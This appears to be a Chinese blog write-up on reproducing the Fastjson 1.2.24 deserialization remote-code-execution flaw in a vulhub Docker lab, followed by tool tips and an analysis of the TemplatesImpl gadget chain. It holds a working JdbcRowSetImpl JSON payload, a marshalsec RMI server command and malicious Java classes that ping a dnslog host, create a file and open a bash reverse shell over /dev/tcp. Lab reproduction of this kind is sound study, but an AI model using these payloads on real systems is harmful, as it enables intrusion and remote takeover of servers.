Fastjson反序列化漏洞

一、环境搭建

1、安装docker

curl -fsSL https://get.docker.com | bash -s docker --mirror Aliyun
![[Pasted image 20240122202459.png]]

2、安装docker-compose

pip install docker-compose
![[Pasted image 20240122203114.png]]

3、gitvulhub镜像

git clone https://github.com/vulhub/vulhub.git
![[Pasted image 20240122203343.png]]

4、进入指定目录启动环境

cd vulhub/fastjson/1.2.24-rce
docker compose up -d
![[Pasted image 20240126050737.png]]

访问http://ip:8090
![[Pasted image 20240126050919.png]]

二、漏洞复现

1、复现过程

首先在dnslog获得一个dnslog
![[Pasted image 20240126052639.png]]

地址:http://www.dnslog.cn/
然后下载marshalsec
下载地址:https://github.com/RandomRobbieBF/marshalsec-jar
在该文件同文件夹下创建一个TouchFile.java文件
内容如下

import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
	static {
		try {
			Runtime rt = Runtime.getRuntime();
			String[] commands = {"ping", "xxx.dnslog.cn(刚开始获取的dnslog)"};
			Process pc = rt.exec(commands);
			pc.waitFor();
		} catch (Exception e) {
 			// do nothing
 		}
 	}
}

使用javac命令将其编译为TouchFile.class文件
![[Pasted image 20240126051539.png]]

![[Pasted image 20240126051552.png]]

使用python3 -m http.server 任意端口(注意不要冲突)
![[Pasted image 20240126051737.png]]

开启marshalsec

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://ip:1111(刚刚开放的端口)/#TouchFile" 9999

打开bp在靶场页面抓包
![[Pasted image 20240126052159.png]]

发送到repeater
将get请求修改为post请求
添加Content-Type: application/json和payload

{
	"b":{
		"@type":"com.sun.rowset.JdbcRowSetImpl",
		"dataSourceName":"rmi://ip:9999/TouchFile",
		"autoCommit":true
	}
}

![[Pasted image 20240126053123.png]]

点击发送
然后去dnslog查看有没有响应
![[Pasted image 20240126054307.png]]

成功
创建文件
将TouchFile.java文件内容修改为以下代码

import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
	static {
		try {
			Runtime rt = Runtime.getRuntime();
			String[] commands = {"touch", "/tmp/1111"};
			Process pc = rt.exec(commands);
			pc.waitFor();
		} catch (Exception e) {
 			// do nothing
 		}
 	}
}

然后编译成class文件,同样的操作发包
然后进入容器查看有没有创建成功
docker exec -it 容器id前四位 /bin/bash
![[Pasted image 20240126054955.png]]

成功
再来反弹一下shell
将TouchFile.java文件内容修改为以下代码

import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
	static {
		try {
			Runtime r = Runtime.getRuntime();
			Process p = r.exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/ip/6666 0>&1"});
			p.waitFor();
		} catch (Exception e) {
 			// do nothing
 		}
 	}
}

在kali开启监听
![[Pasted image 20240126082857.png]]

同样的操作,发包
![[Pasted image 20240126060333.png]]

成功

2、工具推荐

marshalsec
![[Pasted image 20240126051737.png]]

JNDI-Injection-Exploit
下载地址:https://github.com/welk1n/JNDI-Injection-Exploit
使用方法

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]

FastjsonScan
下载地址:https://github.com/a1phaboy/FastjsonScan
![[Pasted image 20240126061708.png]]

BurpSuite插件 – FastjsonScan
下载地址:https://github.com/pmiaowu/BurpFastJsonScan
点击extender
![[Pasted image 20240126062250.png]]

点击add
![[Pasted image 20240126062319.png]]

点击select file
![[Pasted image 20240126062415.png]]

选择文件
![[Pasted image 20240126062559.png]]

然后点击next进行安装
安装成功
![[Pasted image 20240126062622.png]]

![[Pasted image 20240126062709.png]]

三、漏洞分析

利用链流程

![[Pasted image 20240126112136.png]]

进入deserialze后解析到key为_bytecodes时,调用parseField()进一步解析
![[Pasted image 20240126105822.png]]

跟进parseField方法,对_bytecodes对应的内容进行解析
![[Pasted image 20240126105832.png]]

跟进FieldDeserializer#parseField方法
![[Pasted image 20240126105843.png]]

解析出_bytecodes对应的内容后,会调用setValue()函数设置对应的值,这里value即为恶意类二进制内容Base64编码后的数据
继续跟进FieldDeserializer#setValue方法
![[Pasted image 20240126105902.png]]

这里使用了set方法来设置_bytecodes的值
接着解析到_outputProperties的内容
![[Pasted image 20240126105914.png]]

这里去除了_,跟进发现使用反射调用了com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()
![[Pasted image 20240126105925.png]]

跟进TemplatesImpl#getOutputProperties
![[Pasted image 20240126105936.png]]

跟进newTransformer方法
![[Pasted image 20240126105947.png]]

跟进getTransletInstance方法
![[Pasted image 20240126105957.png]]

这里通过defineTransletClasses创建了TEMPOC类并生成了实例
![[Pasted image 20240126110007.png]]

进而执行TEMPOC类的构造方法
![[Pasted image 20240126110015.png]]

所以就执行了任意代码

四、参考文章

https://blog.csdn.net/Bossfrank/article/details/130100893
https://blog.csdn.net/hackzkaq/article/details/135825310
https://www.cnblogs.com/nice0e3/p/14601670.html#0x03-fastjson-templatesimpl%E9%93%BE-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90
https://xz.aliyun.com/t/8979?time__1311=n4%2BxuDgDBD90D%3DK0%3DG8DlxG2bm7KiIoEvNQeox&alichlgref=https%3A%2F%2Fcn.bing.com%2F#toc-8

  • 14
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值